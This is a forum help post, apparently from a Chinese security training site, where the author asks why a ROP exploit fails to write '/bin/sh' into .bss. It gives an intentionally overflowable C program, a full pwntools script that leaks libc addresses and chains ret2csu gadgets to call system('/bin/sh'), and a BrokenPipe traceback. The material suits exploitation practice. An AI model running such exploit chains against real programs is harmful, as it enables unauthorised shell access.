-
-
[求助]为什么我无法向指定内存写入字符串?
-
发表于: 2025-4-11 18:16 1072
-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 源代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main( int argc, char ** argv) { write(STDOUT_FILENO, "Hello, World\n" , 13); vulnerable_function(); } |
gadgets:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | from pwn import * elf = ELF( './level5' ) libc = ELF( '/usr/lib/x86_64-linux-gnu/libc.so.6' ) write_got = elf.got[ 'write' ] print ( hex (write_got)) read_got = elf.got[ 'read' ] print ( hex (read_got)) offset_write_system = libc.symbols[ 'write' ] - libc.symbols[ 'system' ] print ( hex (offset_write_system)) main = 0x400564 sh = process( './level5' ) #rdi = edr = r13 , r15 = rdx , r14 = rsi #write(rdi = 1,rsi = got_write,rdx = 4) #pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 = flat( [ "\x00" * 136 , p64( 0x400606 ), p64( 0 ), p64( 0 ), p64( 1 ), p64(write_got), p64( 1 ), p64(write_got), p64( 8 ), p64( 0x4005F0 ), "\x00" * 56 , p64(main) ] ) sh.send(payload1) sleep( 1 ) sh.recvuntil( "Hello, World\n" ) write_addr = u64(sh.recv( 8 )) print ( hex (write_addr)) system_addr = write_addr - offset_write_system print ( hex (system_addr)) bss_base = 0x601000 #rdi = edr = r13 , r15 = rdx , r14 = rsi #read(rdi = 0,rsi = bss_base,rdx = 16) #pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 = flat( [ "\x00" * 136 , p64( 0x400606 ), p64( 0 ), p64( 0 ), p64( 1 ), p64(read_got), p64( 0 ), p64(bss_base), p64( 16 ), p64( 0x4005F0 ), "\x00" * 56 , p64(main) ] ) sh.send(payload2) sleep( 1 ) sh.send(p64(system_addr)) sh.send( "/bin/sh\0" ) sleep( 1 ) sh.recvuntil( "Hello, World\n" ) #rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh") payload3 = flat( [ "\x00" * 136 , p64( 0x400606 ), p64( 0 ), p64( 0 ), p64( 1 ), p64(bss_base), p64( 0 ), p64(bss_base + 8 ), p64( 16 ), p64( 0x4005F0 ), "\x00" * 56 , p64(main) ] ) sleep( 1 ) sh.send(payload3) sh.interactive() |
0x601000到0x602000是可写的
我在sh.send("/bin/sh\0")后调试
在sh.send("/bin/sh\0")后:
system地址被写入0x601000,而"/bin/sh\0"没有被写到内存中。
另外,当我尝试手动向0x601008处写入"/bin/sh\0"时,程序因崩溃出现错误:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | Traceback (most recent call last): File "/home/lina/pwn/lib/python3.10/site-packages/pwnlib/tubes/process.py" , line 757, in send_raw self.proc.stdin.flush() BrokenPipeError: [Errno 32] Broken pipe During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/lina/pwn/test.py" , line 111, in <module> sh.send(payload3) File "/home/lina/pwn/lib/python3.10/site-packages/pwnlib/tubes/tube.py" , line 831, in send self.send_raw(data) File "/home/lina/pwn/lib/python3.10/site-packages/pwnlib/tubes/process.py" , line 759, in send_raw raise EOFError EOFError |
请问这是为什么?
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2025-4-11 18:25
被mb_zdstlaeb编辑
,原因:
赞赏
他的文章
赞赏
雪币:
留言: